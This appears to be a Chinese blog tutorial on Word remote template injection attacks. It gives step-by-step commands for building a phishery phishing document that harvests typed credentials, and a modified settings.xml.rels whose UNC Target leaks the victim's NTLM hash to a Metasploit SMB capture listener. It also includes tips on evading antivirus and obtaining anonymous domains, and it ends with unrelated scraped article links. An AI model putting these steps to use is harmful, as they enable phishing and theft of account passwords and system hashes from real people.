Word模板注入攻击

0x00 工具准备

phishery:https://github.com/ryhanson/phishery/releases

office版本:office 2010

0x01 什么是Word模板注入攻击

Word模板注入攻击就是利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器发送恶意请求的方式,来盗取他的各类账号密码

0x02 通过远程模板注入盗取目标的各类普通账号密码

1、创建一个docx格式的word文件作为模板源文件,并编辑好文档内容

2、利用模板源文件(test.docx)生成真正的钓鱼文件

用到的工具为phishery,文档开头已提供下载链接(有多个平台的版本,此处用的linux下,在kali里操作的)

2.1 将test.docx放到工具phishery的目录下

2.2 执行以下命令生成真正的钓鱼文件

 ./phishery -u https://192.168.3.29/pass -i phishery.docx -o getpwd.docx
# 此处务必要注意,必须用 https 证书,都在当前目录下

2.3 修改生成的钓鱼文件的权限

chmod 777 getpwd.docx

3、启动phishery服务端(模拟web服务器)

phishery会用当前目录下的setting.json文件中的参数和证书作为默认配置,将记录到的账号密码放在credentials.json中

./phishery
cat credentials.json

4、将钓鱼文件getpwd.docx发送给目标

4.1 目标一点开文件就会弹出一个证书警告框,这一步很关键,只要用户选择了"是",我们的钓鱼文件就会自动去连接远程服务器并弹出基础认证钓鱼框,当目标输完账号以后就会被发送到我们自己的 smb 服务器上

4.2 当目标在弹出的登录框输入内容过后,回到攻击者的kali上,发现目标输入的账号密码都已经被记录

0x03 通过远程模板注入盗取目标系统用户密码的ntlm hash

1、修改之前生成的getpwd.docx解压出来的settings.xml.rels文件

1.1 将docx的文件后缀格式改为压缩文件的格式,如zip,然后将文件解压,找到word\_rels文件

1.2 编辑 settings.xml.rels,如下,定位到 Target 参数,将其改为 smb 的请求方式[即 UNC 路径],同时也可以尝试把 id[工具的敏感特征]改掉,以此躲避某些杀软

原来的:

更改的:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file://192.168.175.137/" Tar getMode="External"/>
</Relationships>

2、修改好之后将之前解压出来的文件全部重新打包,并将后缀名字改回docx

2.1 全部重新打包为zip格式的压缩包

2.2 将打包好的压缩包的后缀更改为docx

3、回到攻击机kali上,打开msf,启动smb监听,将后续收到的hash都存到passwd中

msf > use auxiliary/server/capture/smb
msf > set srvhost 192.168.3.29
msf > set johnpwfile passwd
msf > exploit

4、将制作好的钓鱼文件getpwd发送给目标,当目标打开文件,攻击者便可以获取到他当前系统用户的密码hash

4.1 打开钓鱼文件,目标这里没有任何提示弹窗

4.2 再回到攻击机,发现目标用户系统的hash已经获取到了

4.3 最后,只需要把这些 hash 丢到 hashcat 里去跑就行了

0x05 关于实际利用过程中的一些注意事项

  • 需要一个靠谱的证书
  • 一个靠谱高匿的域名
  • 这种攻击方式的好处在于它并不依赖目标所使用的操作系统,完全依靠 word 自身特性来完成,所以有更强的适应性

0x06 来源

《Word 模版注入攻击详细利用过程 》--By Klion

Word模板注入攻击的更多相关文章

  1. Word 模板注入

      要实现word模板注入,需要一个被注入的文档,以及一个注入用的模板. 1.创建一个启用宏的模板   打开word,alt+f8创建编辑宏,在Project->Microsoft Word对象 ...

  2. Office RTF远程模板注入

    远程模板插入   ProofPoin最近写了一篇文章,报告中提到近年来RTF模板注入进行office钓鱼攻击的数量增加.之前还没怎么了解过RTF模板注入的,现在和小编一起去看看吧(笑hhh).   相 ...

  3. SQL注入攻击的常见方式及测试方法

    本文主要针对SQL注入的含义.以及如何进行SQL注入和如何预防SQL注入让小伙伴有个了解.适用的人群主要是测试人员,了解如何进行SQL注入,可以帮助我们测试登录.发布等模块的SQL攻击漏洞,至于如何预 ...

  4. Java Filter防止sql注入攻击

    原理,过滤所有请求中含有非法的字符,例如:, & < select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使用拼接字符串,案例:某个网站的登入验证的SQ ...

  5. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  6. web攻击之三:SQL注入攻击的种类和防范手段

    观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. ...

  7. Django是如何防止注入攻击-XSS攻击-CSRF攻击

    注入攻击-XSS攻击-CSRF攻击介绍请访问:https://www.cnblogs.com/hwnzy/p/11219475.html Django防止注入攻击 Django提供一个抽象的模型层来组 ...

  8. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  9. 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

    概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...

随机推荐

  1. 如何解决eclipse远程服务器上面的Rabbitmq连接超时问题?

    1.嗯,问题呢,就是一开始安装好RabbitMQ,练习了一下RabbitMQ的使用,但是呢,过了一段时间,我来复习的时候,发现运行出现下面的错误了.后来想想,是自己学习微服务的时候,修改了/etc/h ...

  2. ES6新语法(一)

    1.常量         ES5没有定义声明常量的方式,ES6标准中引入了新的关键字const来定义常量.         常量必须给初始值: 常量不能在同一作用域内重新定义或赋值:  <scr ...

  3. NuGet 修改包路径

    NuGet 是 .NET 平台下的一个免费.开源的包管理开发工具. 修改全局包管理目录 通过 NuGet 安装包时,NuGet 先将包下载至一个统一的目录,默认路径是:C:\Users\用户名\.nu ...

  4. 松软科技web课堂:SQLServer之ROUND() 函数

    ROUND() 函数 ROUND 函数用于把数值字段舍入为指定的小数位数. SQL ROUND() 语法 SELECT ROUND(column_name,decimals) FROM table_n ...

  5. Bootstrap 时间日历插件bootstrap-datetimepicker配置与应用小结

    Bootstrap时间日历插件bootstrap-datetimepicker配置与应用小结   by:授客 QQ:1033553122 1.   测试环境 win7 JQuery-3.2.1.min ...

  6. django之ORM字段及参数

    目录 ORM字段及参数 orm常用字段 字段合集 自定义char字段 字段参数 外键字段的参数 ORM字段及参数 orm常用字段 字段名 说明 AutoField 如果自己没有定义主键id,djang ...

  7. kettle教程---通过配置表格配置实现数据的批量增量更新(实用)

    本文接上篇文章,上面文章讲的是,通过配置文件的全量更新,现在说下增量更新 如上图所示,涉及到1个转换和1个作业. 1-表增量同步(转换) 可以通过读取同步表参数这个excel表格文件,获取表名称和同步 ...

  8. springboot入门以及配置文件

    springboot入门以及配置文件 SpringBoot是什么? Spring Boot它本身并不提供Spring框架的核心特性以及扩展功能,只是用于快速.敏捷地开发新一代基于Spring框架的应用 ...

  9. Vue 组件通信的多种方式(props、$ref、$emit、$attr、 $listeners)

    prop和$ref之间的区别: prop 着重于数据的传递,它并不能调用子组件里的属性和方法.像创建文章组件时,自定义标题和内容这样的使用场景,最适合使用prop. $ref 着重于索引,主要用来调用 ...

  10. Go 字符串 (string)

    字符串类型为 string,使用双引号或者反引号包起来 字符串形式 反引号 当使用反引号时不会对字符串进行转义,并可以包含多行文本 示例: package main import "fmt& ...